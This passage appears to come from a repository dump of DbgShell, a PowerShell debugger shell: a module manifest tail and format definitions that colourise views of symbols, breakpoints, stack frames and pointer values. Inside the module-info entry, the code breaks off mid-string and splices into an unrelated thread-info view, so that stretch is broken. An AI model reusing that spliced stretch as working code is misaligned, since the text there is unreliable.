to importing this module RequiredModules = @() # Assemblies that must be loaded prior to importing this module RequiredAssemblies = @( 'DbgEngWrapper.dll', 'Microsoft.Diagnostics.Runtime.dll' ) # Script files (.ps1) that are run in the caller's environment prior to importing this module ScriptsToProcess = @() # Type files (.ps1xml) to be loaded when importing this module TypesToProcess = @() # Format files (.ps1xml) to be loaded when importing this module #FormatsToProcess = @( 'Debugger.Format.ps1xml' ) # TODO: I tried having the two format files co-exist: pointing to the 'vanilla' one from here, # and having the custom shell call Update-FormatData with the color one. No worky... seems # the 'vanilla' formatting data always got used. So I'll probably need to generate a whole # separate module for 'vanilla' hosts. FormatsToProcess = @( 'Debugger.Format.Color.ps1xml' ) # Modules to import as nested modules of the module specified in ModuleToProcess NestedModules = @( 'Debugger.Formatting.psm1', 'Debugger.psm1' ) # Functions to export from this module FunctionsToExport = '*' # Cmdlets to export from this module CmdletsToExport = '*' # Variables to export from this module VariablesToExport = '*' # Aliases to export from this module AliasesToExport = '*' # List of all modules packaged with this module ModuleList = @() # List of all files packaged with this module FileList = @() # Private data to pass to the module specified in ModuleToProcess PrivateData = '' # HelpInfo URI of this module #HelpInfoURI = 'http://go.microsoft.com/fwlink/?LinkId=216168' } ================================================ FILE: DbgShell/x64/Debugger/Debugger.psfmt ================================================ # # This file defines format view definitions for various types used by the # Debugger module, for use by the alternate formatting engine. # # Format definitions are analogous to the entries in a .ps1xml, except # they are consumed by our alternate formatting engine, not the built-in # PowerShell formatting engine. # Register-AltTypeFormatEntries { # We keep private, shared functions in FmtUtils.ps1. If you have a script block that # needs to use them, be sure to use -CaptureContext, else they won't be available when # the script block is run. . "$PSScriptRoot\FmtUtils.ps1" New-AltTypeFormatEntry -TypeName 'MS.Dbg.DbgSymbol' { New-AltTableViewDefinition -ShowIndex { New-AltColumns { New-AltScriptColumn -Label 'Name' -Width 25 -Alignment Left -Script { if( $_.get_IsValueUnavailable() ) { # This 'dims' symbol names whose values aren't available. New-ColorString -Content $_.get_Name() -Foreground DarkGray } else { $_.get_Name() } } # I'm not sure if this 'BasicType' stuff is really useful for anything # New-AltScriptColumn -Label 'BasicType' -Width 10 -Alignment Center -Script { # $_.Type.BasicType # } New-AltScriptColumn -Label 'Type' -Width 25 -Alignment Left -Script { Get-TypeName( $_ ) } -CaptureContext # DbgProvider can use the 'Address' tag to find columns that it # wants to resize depending on target address width. New-AltScriptColumn -Label 'Location' -Width 10 -Alignment Center -Tag 'Address' -Script { if( $_.get_IsValueUnavailable() ) { if( $_.get_IsMetadataUnavailable() ) { New-ColorString -Content " - " -Foreground Blue } else { assert $_.get_IsMemoryUnavailable() Format-DbgAddress $_.get_Address() -DefaultFgColor Yellow } } elseif( $_.get_IsValueInRegister() ) { New-ColorString -Foreground Cyan -Content ("@" + $_.get_Register().get_Name()) } elseif( $_.get_IsConstant() ) { New-ColorString -Content "constant" -Foreground Blue } else { Format-DbgAddress $_.get_Address() } } New-AltScriptColumn -Label 'Size' -Width 8 -Alignment Left -Script { if( $_.get_IsValueUnavailable() ) { '' } else { $size = $_.get_Type().get_Size() if( 0 -eq $size ) { New-ColorString -Foreground DarkGray -Content '0' } else { [string]::Format( "0x{0:x}", $size ) } } } New-AltScriptColumn -Label 'Value' -Alignment Left -Script { # I'm torn on this... but I think it's nicer to just leave # it empty when the value isn't available--looks cleaner. #Summarize-SymValue -InputObject $_.get_Value() if( $_.get_IsValueUnavailable() ) { '' } else { Format-AltSingleLine -InputObject $_.get_Value() } } } # End Columns } # end Table view New-AltListViewDefinition -ListItems { New-AltPropertyListItem -PropertyName 'Name' New-AltPropertyListItem -PropertyName 'IsValueUnavailable' New-AltScriptListItem -Label 'Location' -Script { if( $_.get_IsValueUnavailable() ) { if( $_.get_IsMetadataUnavailable() ) { New-ColorString -Content " - " -Foreground Blue } else { assert $_.get_IsMemoryUnavailable() Format-DbgAddress $_.get_Address() -DefaultFgColor Yellow } } elseif( $_.get_IsValueInRegister() ) { New-ColorString -Foreground Cyan -Content ("@" + $_.get_Register().get_Name()) } elseif( $_.get_IsConstant() ) { New-ColorString -Content "constant" -Foreground Blue } else { Format-DbgAddress $_.get_Address() } } New-AltPropertyListItem -PropertyName 'Module' New-AltScriptListItem -Label 'Type' -Script { if( $null -eq $_.get_Type() ) { New-ColorString -Foreground Yellow -Content "{}" } else { "{" + $_.get_Type().get_Name() + ", size 0x" + $_.get_Type().get_Size().ToString( "x" ) + "}" } } New-AltScriptListItem -Label 'Children' -Script { if( $_.get_IsValueUnavailable() ) { New-ColorString -Content " - " -Foreground Blue } else { $_.get_Children().Count } } New-AltScriptListItem -Label 'PathString' -Script { if( $_.get_IsValueUnavailable() ) { New-ColorString -Content " - " -Foreground Blue } else { $_.get_PathString() } } New-AltScriptListItem -Label 'Value' -Script { # I'm torn on this... but I think it's nicer to just leave # it empty when the value isn't available--looks cleaner. #Summarize-SymValue -InputObject $_.get_Value() if( $_.get_IsValueUnavailable() ) { '' } else { Format-AltSingleLine -InputObject $_.get_Value() } } } # end List view } # end Type MS.Dbg.DbgSymbol New-AltTypeFormatEntry -TypeName 'MS.Dbg.DbgEventArgs' { New-AltCustomViewDefinition { $_.get_Message() } # end AltCustomViewDefinition } # end Type MS.Dbg.DbgEventArgs New-AltTypeFormatEntry -TypeName 'MS.Dbg.DbgEngineEventFilter' { New-AltTableViewDefinition { New-AltColumns { New-AltScriptColumn -Label 'FriendlyName' -Width 20 -Alignment Right -Script { if( $_.get_ExecutionOption() -eq 'BREAK' ) { (New-ColorString).AppendPushFgBg( [ConsoleColor]::White, [ConsoleColor]::DarkRed ).Append( $_.get_FriendlyName() ) } else { $_.get_FriendlyName() } } New-AltPropertyColumn -PropertyName 'Name' -Width 6 -Alignment Center New-AltScriptColumn -Label 'Exec. Option' -Width 12 -Alignment Center -Script { $content = $_.get_ExecutionOption().ToString() switch( $_.ExecutionOption ) { 'BREAK' { (New-ColorString).AppendPop().Append( (New-ColorString -Foreground Red -Content 'BREAK') ) } 'IGNORE' { New-ColorString -Foreground Blue -Content 'Ignore' } 'OUTPUT' { New-ColorString -Foreground Cyan -Content 'Output' } default { $_.ExecutionOption } } } New-AltPropertyColumn -PropertyName 'ContinueOption' -Label 'Cont. Option' -Width 16 -Alignment Left New-AltPropertyColumn -PropertyName 'Argument' -Width 26 -Alignment Left New-AltPropertyColumn -PropertyName 'Command' -Alignment Left } # End Columns } # end Table view } # end Type MS.Dbg.DbgEngineEventFilter New-AltTypeFormatEntry -TypeName 'MS.Dbg.DbgExceptionEventFilter' { New-AltTableViewDefinition { New-AltColumns { #New-AltPropertyColumn -PropertyName 'FriendlyName' -Width 30 -Alignment Left New-AltScriptColumn -Label 'FriendlyName' -Width 30 -Alignment Left -Script { if( $_.get_ExecutionOption() -eq 'BREAK' ) { (New-ColorString).AppendPushFgBg( [ConsoleColor]::White, [ConsoleColor]::DarkRed ).Append( $_.get_FriendlyName() ) } elseif( $_.ExecutionOption -eq 'SECOND_CHANCE_BREAK' ) { (New-ColorString).AppendPushFgBg( [ConsoleColor]::White, [ConsoleColor]::DarkYellow ).Append( $_.get_FriendlyName() ) } else { # I don't have a conditional POP where I want the # background color to go back to default, so I need to # a do a PUSH here too. (New-ColorString).AppendPush().Append( $_.get_FriendlyName() ) } } New-AltPropertyColumn -PropertyName 'Name' -Width 6 -Alignment Center New-AltPropertyColumn -PropertyName 'ExceptionCode' -Label 'Code' -Width 10 -Alignment Center -FormatString ((New-ColorString -Content '[{0:x8}]').AppendPop()) New-AltScriptColumn -Label 'Exec. Option' -Width 12 -Alignment Center -Script { $content = $_.get_ExecutionOption().ToString() switch( $_.ExecutionOption ) { 'SECOND_CHANCE_BREAK' { New-ColorString -Foreground Yellow -Content "2nd-Chance" } 'BREAK' { New-ColorString -Foreground Red -Content 'BREAK' } 'IGNORE' { New-ColorString -Foreground Blue -Content 'Ignore' } default { $_.ExecutionOption } } } New-AltPropertyColumn -PropertyName 'ContinueOption' -Label 'Cont. Option' -Width 16 -Alignment Left New-AltPropertyColumn -PropertyName 'Command' -Alignment Left New-AltPropertyColumn -PropertyName 'SecondCommand' -Alignment Left } # End Columns } # end Table view } # end Type MS.Dbg.DbgExceptionEventFilter New-AltTypeFormatEntry -TypeName 'MS.Dbg.DbgBreakpointInfo' { New-AltTableViewDefinition { New-AltColumns { # N.B. To access these variables from a script block, you'll # need to "capture" them using -CaptureContext. $enabled = New-ColorString -Foreground Green -Content "E" $enabledDeferred = New-ColorString -Foreground Yellow -Content "e" $disabled = New-ColorString -Foreground Magenta -Content "d" $disabledDeferred = New-ColorString -Foreground Red -Content "D" New-AltPropertyColumn -PropertyName 'Id' -Width 4 -Alignment Right New-AltScriptColumn -Label 'Status' -Width 6 -Alignment Center -Script { if( $_.get_IsEnabled() ) { if( $_.get_IsDeferred() ) { $enabledDeferred } else { $enabled } } else { if( $_.get_IsDeferred() ) { $disabledDeferred } else { $disabled } } } -CaptureContext New-AltScriptColumn -Label 'Offset' -Width 10 -Alignment Center -Tag 'Address' -Script { if( $_.get_Offset() -eq [UInt64]::MaxValue ) { return New-ColorString -Foreground DarkRed -Content "-----" } Format-DbgAddress $_.get_Offset() } New-AltScriptColumn -Label 'PassCount' -Width 9 -Alignment Center -Script { [string]::Format( "{0}/{1}", $_.get_NativeParams().CurrentPassCount, $_.NativeParams.PassCount ) } New-AltScriptColumn -Label 'MatchThread' -Width 11 -Alignment Center -Script { if( $_.get_NativeParams().MatchThread -eq 4294967295 ) { if( $_.get_Flags().HasFlag( [Microsoft.Diagnostics.Runtime.Interop.DEBUG_BREAKPOINT_FLAG]::DEFERRED ) ) { New-ColorString -Foreground Yellow -Content '-' } else { '***' } } else { $_.NativeParams.MatchThread.ToString( 'x' ) # TODO: is this an address or an id or what? i think for user mode it's the tid } } New-AltScriptColumn -Label 'Symbol' -Alignment Left -Script { if( $_.get_Flags().HasFlag( [Microsoft.Diagnostics.Runtime.Interop.DEBUG_BREAKPOINT_FLAG]::DEFERRED ) ) { New-ColorString -Foreground Yellow -Content ([string]::Format( "({0})", $_.get_SymbolicName() )) } else { $_.get_SymbolicName() } } New-AltScriptColumn -Label 'Command' -Alignment Left -Script { $sbc = $_.get_ScriptBlockCommand() if( $null -ne $sbc ) { # TODO: Would be nice to colorize the same that PSReadLine would. $str = $sbc.ToString().Trim() -replace "`n[ ]*", " \ " (New-ColorString -Content 'PS> ' -Fore Cyan).Append( $str ) } else { $dbgEngCmd = $_.get_DbgEngCommand() if( $dbgEngCmd ) { (New-ColorString -Content '(dbgeng) ' -Fore DarkGray).Append( $dbgEngCmd ) } else { '' } } } New-AltTableFooter -Alignment Center -Script { (New-ColorString -Background Cyan -Foreground Black -Content 'Legend:'). Append( ' ' ). Append( $enabled ). Append( ': Enabled, ' ). Append( $enabledDeferred ). Append( ': Enabled but deferred, ' ). Append( $disabled ). Append( ': Disabled, ' ). Append( $disabledDeferred ). Append( ': Disabled and deferred' ) } -CaptureContext } # End Columns } # end Table view } # end Type MS.Dbg.DbgBreakpointInfo New-AltTypeFormatEntry -TypeName 'MS.Dbg.DbgModuleInfo' { function GetModName( $m ) { $name = $m.get_Name() if( !$name.StartsWith( '" ) } else { $cs = $cs.Append( ($_.get_Teb() | Format-AltSingleLine) ) } $cs } -CaptureContext # end single-line view } # end Type MS.Dbg.DbgUModeThreadInfo New-AltTypeFormatEntry -TypeName 'MS.Dbg.DbgStackInfo' { New-AltCustomViewDefinition { # $currentThread = $_.Debugger.GetCurrentThread() # $eventThread = $_.Debugger.GetEventThread() # $marker = " " # if( $currentThread -eq $_.get_Thread() ) # { # $marker = " . " # } # elseif( $eventThread -eq $_.Thread ) # { # $marker = " # " # } # '' # blank line # [string]::Format( "{0} {1} Pid/Tid: {2:x}.{3:x}", # $marker, # $_.Thread.Debuggerid, # # BUGBUG: Need to get the OS process ID for the thread, not current # $_.Debugger.GetProcessSystemId(), # $_.Thread.Tid ) # TODO: other thread info? # '' # blank line [int] $frameNum = 0 foreach( $frame in $_.EnumerateStackFrames() ) { # TODO: What to do about frames that are longer than the # console width? Right now thwy are getting wrapped, using # word-breaking, which looks fairly bad (because there are such # long stretches with no good place to break). Maybe we should # auto-truncate (and add "...")? But then maybe info is lost... # so maybe we want to do our own wrapping? Hmm... this bears # more consideration. #[string]::Format( '{0:x2} {1}', $frameNum, $frame ) (New-ColorString -Content ([string]::Format( '{0:x2} ', $frameNum ))).Append( $frame.ToColorString() ) $frameNum = $frameNum + 1 } } # end AltCustomViewDefinition } # end Type MS.Dbg.DbgStackInfo New-AltTypeFormatEntry -TypeName 'MS.Dbg.DbgStackFrameInfo' { New-AltListViewDefinition -ListItems { New-AltScriptListItem -Label 'FrameNumber' { Format-AltSingleLine -InputObject $_.get_FrameNumber() } New-AltScriptListItem -Label 'SymbolName' { [MS.Dbg.DbgProvider]::ColorizeSymbol( $_.get_SymbolName() ) } New-AltScriptListItem -Label 'Displacement' { Format-AltSingleLine -InputObject $_.get_Displacement() } New-AltPropertyListItem -PropertyName 'IsFrameInline' New-AltScriptListItem -Label 'ReturnAddress' { if( $_.IsFrameInline ) { if( $Debugger.TargetIs32Bit ) { New-ColorString -Content '--------' -Fore DarkGray } else { New-ColorString -Content '--------`--------' -Fore DarkGray } } else { Format-DbgAddress $_.get_ReturnAddress() } } New-AltScriptListItem -Label 'InstructionPointer' { Format-DbgAddress $_.get_InstructionPointer() } New-AltScriptListItem -Label 'StackPointer' { if( $_.IsFrameInline ) { New-ColorString -Content '(Inline Function)' -Fore DarkGray } else { Format-DbgAddress $_.get_StackPointer() } } New-AltPropertyListItem -PropertyName 'Module' New-AltPropertyListItem -PropertyName 'Function' New-AltPropertyListItem -PropertyName 'Caller' New-AltPropertyListItem -PropertyName 'Callee' New-AltPropertyListItem -PropertyName 'Context' New-AltPropertyListItem -PropertyName 'Path' New-AltPropertyListItem -PropertyName 'NativeFrameEx' New-AltScriptListItem -Label 'RegisterSet' { $_.get_RegisterSet().ToColorString() } } # end List view New-AltTableViewDefinition -ShowIndex { New-AltColumns { New-AltScriptColumn -Label 'Child-SP' -Width 17 -Alignment Left -Tag 'Address' -Script { if( $_.IsFrameInline ) { if( $Debugger.TargetIs32Bit ) { New-ColorString -Content '(Inline)' -Fore DarkGray } else { New-ColorString -Content '(Inline Function)' -Fore DarkGray } } else { Format-DbgAddress $_.get_StackPointer() } } New-AltScriptColumn -Label 'RetAddr' -Width 17 -Alignment Left -Tag 'Address' -Script { if( $_.IsFrameInline ) { if( $Debugger.TargetIs32Bit ) { New-ColorString -Content '--------' -Fore DarkGray } else { New-ColorString -Content '--------`--------' -Fore DarkGray } } else { Format-DbgAddress $_.get_ReturnAddress() } } New-AltScriptColumn -Label 'Call Site' -Alignment Left -Script { $_.ToColorString() } } # End Columns } # end Table view } # end Type MS.Dbg.DbgStackFrameInfo New-AltTypeFormatEntry -TypeName 'MS.Dbg.DbgFieldInfo' { New-AltTableViewDefinition { New-AltColumns { # TODO: If it's a static, the offset should display differently New-AltPropertyColumn -PropertyName 'Offset' -Width 10 -Alignment Right -FormatString '+0x{0:x3}' New-AltPropertyColumn -PropertyName 'Name' -Width 30 -Alignment Left New-AltScriptColumn -Label 'Type' -Width 35 -Alignment Left -Script { Get-TypeName( $_ ) } -CaptureContext New-AltPropertyColumn -PropertyName 'Size' -Width 7 -Alignment Left -FormatString '0x{0:x}' # N.B. To access these variables from a script block, you'll # need to "capture" them using -CaptureContext. $StaticFlag = New-ColorString -Foreground DarkYellow -Content "S" $ConstantFlag = New-ColorString -Foreground DarkCyan -Content "C" $ArrayFlag = New-ColorString -Foreground DarkGreen -Content "A" $PointerFlag = New-ColorString -Foreground DarkMagenta -Content "P" New-AltScriptColumn -Label 'Flags' -Alignment Center -Width 5 -Script { $cs = New-ColorString -Content '' [bool] $haveFlag = $false if( $_.get_IsStatic() ) { $cs = $cs.Append( $StaticFlag ) $haveFlag = $true } else { $cs = $cs.Append( ' ' ) } if( $_.get_IsConstant() ) { $cs = $cs.Append( $ConstantFlag ) $haveFlag = $true } else { $cs = $cs.Append( ' ' ) } if( $_.get_IsArray() ) { $cs = $cs.Append( $ArrayFlag ) $haveFlag = $true } else { $cs = $cs.Append( ' ' ) } if( $_.get_IsPointer() ) { $cs = $cs.Append( $PointerFlag ) $haveFlag = $true } else { $cs = $cs.Append( ' ' ) } if( !$haveFlag ) { $cs = New-ColorString -Foreground DarkBlue -Content '-' } $cs } -CaptureContext # N.B. Closure required to get $StaticFlag, et al. New-AltTableFooter -Alignment Center -Script { (New-ColorString -Background Cyan -Foreground Black -Content 'Flags legend:'). Append( ' ' ). Append( $StaticFlag ). Append( ': Static, ' ). Append( $ConstantFlag ). Append( ': Constant, ' ). Append( $ArrayFlag ). Append( ': Array, ' ). Append( $PointerFlag ). Append( ': Pointer' ) } -CaptureContext # N.B. Closure required to get $StaticFlag, et al. } # End Columns } # end Table view New-AltListViewDefinition -ListItems { New-AltPropertyListItem -PropertyName 'Name' # TODO: If it's a static, the offset should display differently New-AltPropertyListItem -PropertyName 'Offset' -FormatString '+0x{0:x3}' New-AltScriptListItem -Label 'Type' -Script { Get-TypeName( $_ ) } -CaptureContext New-AltPropertyListItem -PropertyName 'Size' -FormatString '0x{0:x}' New-AltScriptListItem -Label 'Flags' -Script { $cs = New-ColorString -Content '' if( $_.get_IsStatic() ) { $cs = $cs.AppendPushPopFg( [ConsoleColor]::DarkYellow, "Static " ) } if( $_.get_IsConstant() ) { $cs = $cs.AppendPushPopFg( [ConsoleColor]::DarkCyan, "Constant " ) } if( $_.get_IsArray() ) { $cs = $cs.AppendPushPopFg( [ConsoleColor]::DarkGreen, "Array " ) } if( $_.get_IsPointer() ) { $cs = $cs.AppendPushPopFg( [ConsoleColor]::DarkMagenta, "Pointer " ) } if( $cs.get_Length() -eq 0 ) { $cs = $cs.AppendPushPopFg( [ConsoleColor]::DarkBlue, "(none)" ) } $cs } } # end list view } # end Type MS.Dbg.DbgFieldInfo New-AltTypeFormatEntry -TypeName 'Microsoft.Diagnostics.Runtime.Interop.DEBUG_SYMBOL_ENTRY' { New-AltListViewDefinition -ListItems { New-AltScriptListItem -Label 'ModuleBase' -Script { Format-DbgAddress $_.ModuleBase } New-AltScriptListItem -Label 'Address' -Script { Format-DbgAddress $_.Offset } New-AltPropertyListItem -PropertyName 'Id' -FormatString '0x{0:x}' New-AltPropertyListItem -PropertyName 'Size' -FormatString '0x{0:x}' New-AltPropertyListItem -PropertyName 'TypeId' -FormatString '0x{0:x}' New-AltPropertyListItem -PropertyName 'Token' New-AltPropertyListItem -PropertyName 'Arg64' -FormatString '0x{0:x}' New-AltPropertyListItem -PropertyName 'Arg32' -FormatString '0x{0:x}' New-AltPropertyListItem -PropertyName 'Tag' } # end list view } # end Type MS.Dbg.DEBUG_SYMBOL_ENTRY # TODO: Need to have a special function/cmdlet/something for displaying symbol values, which can nest/recurse. New-AltTypeFormatEntry -TypeName 'MS.Dbg.DbgUdtValue' { New-AltCustomViewDefinition { $sym = $_.DbgGetSymbol() [bool] $truncate = [string]::IsNullOrEmpty( [Environment]::GetEnvironmentVariable( 'DbgShell_DontTruncateUdtView' ) ) [int] $truncWidth = $Host.UI.RawUI.BufferSize.Width - 1 <# I think this name stuff is too much... you probably just typed the name. On the other hand, maybe you /didn't/ just type the name--maybe you did something like "$locals[11].Value", or some other scripty thing. Hm... what to do, what to do... #> $cs = New-ColorString -Content 'Name: ' $cs = $cs.AppendPushPopFgBg( [ConsoleColor]::Black, [ConsoleColor]::DarkCyan, $sym.get_Name() ) if( $sym.get_NonDerefPathElements() -gt 1 ) { # Sometimes the PathString gets really long (like when we've been # iterating through a std::forward_list: "...->_Next->_Next->_Next->_Next->_Next->...". # So we'll truncate it, but trim from the center, so you can see both the # beginning and the end of the path. $widthLeft = $Host.UI.RawUI.BufferSize.Width - $cs.Length - 1 $pathCs = (New-ColorString -Content ' '). AppendPushFg( [ConsoleColor]::DarkGray ). Append( $sym.PathString ). Append( ')' ). AppendPop() $pathCs = [MS.Dbg.ColorString]::Truncate( $pathCs, $widthLeft, $true, 'Center' ) $null = $cs.Append( $pathCs ) } if( $sym -is [MS.Dbg.DbgLocalSymbol] ) { $cs = $cs.AppendLine().AppendPushPopFg( [ConsoleColor]::Blue, 'Local UDT @ ' ) } else { $cs = $cs.AppendLine().AppendPushPopFg( [ConsoleColor]::Blue, 'UDT @ ' ) } if( $sym.get_IsValueInRegister() ) { $cs = $cs.Append( (New-ColorString -Foreground Cyan -Content ('@' + $sym.get_Register().get_Name())) ) } else { $cs = $cs.Append( (Format-DbgAddress $sym.get_Address() $sym.Debugger) ) } [bool] $symbolWasTransformed = $_.DbgGetSymbol() -ne $_.DbgGetOperativeSymbol() # This is a little weird, as right now, the operative type is already # displayed on the line above. Do I want to put that back the way it was? function AppendSymbolHistoryStuff() { $detectedTypeSym = $_.DbgGetOperativeSymbol() <# assert #> if( $detectedTypeSym -eq $_.DbgGetSymbol() ) { throw "Assert: no derived type detected?" } # It gets a little too crazy trying to display the entire symbol transformation # history for more than a simple case... let's just direct users to take a look # themselves. $history = $_.DbgGetSymbolHistory() if( ($history.Count -gt 2) -or ($history[ 1 ] -isnot [MS.Dbg.DtdRecord]) ) { $cs = $cs.Append( 'Displayed object is ' ). AppendPushPopFg( [ConsoleColor]::Yellow, 'type: ' ). Append( (Format-DbgTypeName $detectedTypeSym.Type.Name) ). Append( ' ' ). AppendPushPopFgBg( [ConsoleColor]::Black, [ConsoleColor]::Blue, '(see symbol history)' ) } else { Assert ($history[ 1 ] -is [MS.Dbg.DtdRecord]) $cs = $cs.Append( 'Detected ' ). AppendPushPopFg( [ConsoleColor]::Yellow, 'derived' ). Append( ' type ' ). Append( (Format-DbgTypeName $detectedTypeSym.Type.Name) ) $offset = (([Int64] $detectedTypeSym.Address) - ([Int64] $sym.Address)) if( $offset -ne 0 ) { $sign = '+' if( $offset -lt 0 ) { $sign = '-' $offset = [Math]::Abs( $offset ) } $csSuffix = New-ColorString -Fore Black ` -Back Yellow ` -Content ([String]::Format( '{0}0x{1:x}', $sign, $offset )) $cs = $cs.Append( ', at offset ' ). Append( $csSuffix ) } } } # end function AppendSymbolHistoryStuff # If there is a single-line view definition for this object, let's # use that to display a nice "summary" of the value. If not, we'll # just display the type. (We don't want to do both, because usually # the single-line view includes the type, and we don't want the # redundant info.) $slfi = Get-AltTypeFormatEntry -InputObject $_ -FormatInfoType MS.Dbg.Formatting.AltSingleLineViewDefinition | Select-Object -First 1 if( ($null -ne $slfi) -and !$sym.IsValueUnavailable ) { if( $symbolWasTransformed ) { # But if we detected a derived type, let's still let the user know. # assert $sym is not in a register $cs = $cs.Append( ' (' ) AppendSymbolHistoryStuff $cs = $cs.Append( ')' ) } $cs = $cs.Append( ': ' ).Append( (Format-AltSingleLine -InputObject $_ -View $slfi) ) } else { if( $symbolWasTransformed ) { $cs = $cs.Append( ' ' ) AppendSymbolHistoryStuff } else { $cs = $cs.Append( ' Type ' ).Append( (Format-DbgTypeName $sym.get_Type().get_Name()) ) } } assert (!$sym.get_IsPointer()) # if it were a pointer, it would be a DbgPointerValue, not a DbgUdtValue $cs # # (done with the 'header') # $statics = $null $members = New-Object System.Collections.Generic.List[System.Management.Automation.PSPropertyInfo] $dynamicProps = $null foreach( $prop in $_.PSObject.Properties ) { if( $null -eq (Get-Member -Name 'FieldInfo' -InputObject $prop) ) { # This was something stuck onto the symbol value by a symbol value # conversion script; not something that is actually a member of the # variable (it's not something you would see in windbg--it has no # offset, etc.). if( !$dynamicProps ) { $dynamicProps = New-Object System.Collections.Generic.List[System.Management.Automation.PSPropertyInfo] } $dynamicProps.Add( $prop ) continue } # TODO: Put an IsStatic property back on... this is ugly if( $prop.get_FieldInfo().IsStatic ) { if( !$statics ) { $statics = New-Object System.Collections.Generic.List[System.Management.Automation.PSPropertyInfo] } $statics.Add( $prop ) continue } $members.Add( $prop ) } # end foreach( property ) if( $statics -and ($statics.Count -gt 0) ) { New-ColorString -Content 'Statics:' -Foreground Cyan foreach( $static in $statics ) { $cs = New-ColorString -Content ' =' if( $static.get_Symbol().IsValueUnavailable ) { #TODO: Debug this $cs = $cs.Append( 'BUG: How could a static not be available? ' ) $cs = $cs.Append( $static.FieldInfo.Name ) $cs continue } $cs = $cs.Append( (Format-DbgAddress $static.Symbol.Address $static.Symbol.Debugger) ).Append( ' ' ) $cs = $cs.Append( (Pad $static.FieldInfo.Name 29) ).Append( ' : ' ) try { $cs = $cs.Append( (Summarize-SymValue $static.get_Value()) ) } catch { $problem = $_ $cs = $cs.Append( (New-ColorString -Fore 'Red' -Content $problem.ToString()) ) } if( $truncate ) { [MS.Dbg.ColorString]::Truncate( $cs, $truncWidth ) } else { $cs } } # end foreach( static ) } # end if( there are statics to display ) if( $members.Count -gt 0 ) { if( $statics -and ($statics.Count -gt 0) ) { # We only need to have this label if there are statics preceding the members. New-ColorString -Content 'Members:' -Foreground Cyan } foreach( $mem in $members ) { if( $mem.get_Symbol().IsValueUnavailable ) { $cs = $cs.Append( $mem.FieldInfo.Name ) $cs continue } $cs = New-ColorString -Content ' +0x' $cs = $cs.Append( $mem.FieldInfo.Offset.ToString( "x3" ) ).Append( ' ' ) $cs = $cs.Append( (Pad $mem.FieldInfo.Name 29) ).Append( ' : ' ) try { $cs = $cs.Append( (Summarize-SymValue $mem.get_Value()) ) } catch { $problem = $_ $cs = $cs.Append( (New-ColorString -Fore 'Red' -Content $problem.ToString()) ) } if( $truncate ) { [MS.Dbg.ColorString]::Truncate( $cs, $truncWidth ) } else { $cs } } # end foreach( member ) } # end if( there are members to display ) if( $dynamicProps -and ($dynamicProps.Count -gt 0) ) { New-ColorString -Content 'Synthetic (debugger-generated) properties:' -Foreground Cyan foreach( $mem in $dynamicProps ) { $cs = New-ColorString -Content ' ' $cs = $cs.Append( (Pad $mem.Name 36) ).Append( ' : ' ) try { $cs = $cs.Append( (Format-AltSingleLine -InputObject $mem.Value) ) } catch { $problem = $_ $cs = $cs.Append( (New-ColorString -Fore 'Red' -Content $problem.ToString()) ) } if( $truncate ) { [MS.Dbg.ColorString]::Truncate( $cs, $truncWidth ) } else { $cs } } # end foreach( member ) } # end if( there are dynamicProps to display ) } # end AltCustomViewDefinition } # end Type MS.Dbg.DbgUdtValue New-AltTypeFormatEntry -TypeName 'MS.Dbg.DbgPointerValue' { New-AltSingleLineViewDefinition { $_.ToColorString() } # end single-line view New-AltCustomViewDefinition { $sym = $_.DbgGetSymbol() if( $sym.IsThreadLocal ) { $cs = (New-ColorString -Foreground 'Blue' -Background 'White' -Content 'Pointer'). Append( ' ' ). AppendPushPopFgBg( [ConsoleColor]::Yellow, [ConsoleColor]::DarkBlue, '(ThreadLocal)' ). Append( ':' ) } else { $cs = (New-ColorString -Foreground 'Blue' -Background 'White' -Content 'Pointer:') } [void] $cs.Append( ' (' ) if( $sym.get_IsValueUnavailable() ) { # Actually, we should never get here, because if the value is # unavailable, we should not be able to have a DbgPointerValue in the # first place. [void] $cs.AppendPushPopFg( [ConsoleColor]::Blue, '-' ) } elseif( $sym.get_IsValueInRegister() ) { [void] $cs.AppendPushPopFg( [ConsoleColor]::Cyan, ("@" + $sym.get_Register().get_Name()) ) } else { [void] $cs.Append( (Format-DbgAddress $sym.get_Address()) ) } [void] $cs.Append( ') ' ) [void] $cs.Append( $_.ToColorString() ) $cs # Follow the pointer(s): $ultimatePointee = $_.DbgFollowPointers() # Many pointees don't have more to contribute to the display, so we'll only # show more for UDTs. # # We don't just check "-is [MS.Dbg.DbgUdtValue]" because symbol value # may have yielded something else instead. if( $ultimatePointee -and $ultimatePointee.DbgGetSymbol().IsUdt ) { # Sending it to Out-String is the original way I had it. But then in # commit a1d7c9fa I changed it to Format-AltCustom, with the explanation # "[b]ecause if the default view for the pointee is a table view, it looks # a little bit crazy." But I'm going to have to go back to the "crazy" # view, because symbol value conversion might yield something that doesn't # have a custom view definition. #$ultimatePointee | Out-String -Stream Out-String -Stream -InputObject $ultimatePointee } # and maybe array values? } New-AltTableViewDefinition -ShowIndex { New-AltColumns { New-AltScriptColumn -Label 'Pointer' -Width 10 -Alignment Center -Tag 'Address' -Script { Format-DbgAddress $_.DbgGetPointer() } New-AltScriptColumn -Label 'Value' -Alignment Left -Script { if( $_.DbgIsNull() ) { Format-DbgAddress 0 # "(null)" } else { Format-AltSingleLine -InputObject $_.DbgGetPointee() } } } # End Columns } # end Table view } # end type MS.Dbg.DbgPointerValue New-AltTypeFormatEntry -TypeName 'MS.Dbg.Formatting.Commands.AltTypeFormatEntryPair' { New-AltTableViewDefinition -ShowIndex { New-AltColumns { New-AltPropertyColumn -PropertyName 'TypeName' -Alignment Left New-AltScriptColumn -Label 'ViewDefinitionInfo' -Alignment Left -Script { $_.get_ViewDefinitionInfo().get_ViewDefinition().GetType().FullName } } # End Columns } # end Table view New-AltListViewDefinition -ListItems { New-AltPropertyListItem -PropertyName 'TypeName' New-AltScriptListItem -Label 'ViewDefinitionInfo.ViewDefinition' -Script { $_.get_ViewDefinitionInfo().get_ViewDefinition().GetType().FullName } New-AltScriptListItem -Label 'ViewDefinitionInfo.SourceScript' -Script { $_.ViewDefinitionInfo.SourceScript } } # end list view } # end Type MS.Dbg.Formatting.Commands.AltTypeFormatEntryPair New-AltTypeFormatEntry -TypeName 'MS.Dbg.Formatting.Column' { New-AltTableViewDefinition { New-AltColumns { New-AltScriptColumn -Label 'Column Type' -Width 11 -Alignment Center -Script { if( $_ -is [MS.Dbg.Formatting.ScriptColumn] ) { New-ColorString -Foreground DarkYellow -Content 'Script' } else { New-ColorString -Foreground DarkMagenta -Content 'Property' } } New-AltPropertyColumn -PropertyName 'Label' -Width 25 New-AltScriptColumn -Label 'PropertyName' -Width 25 -Alignment 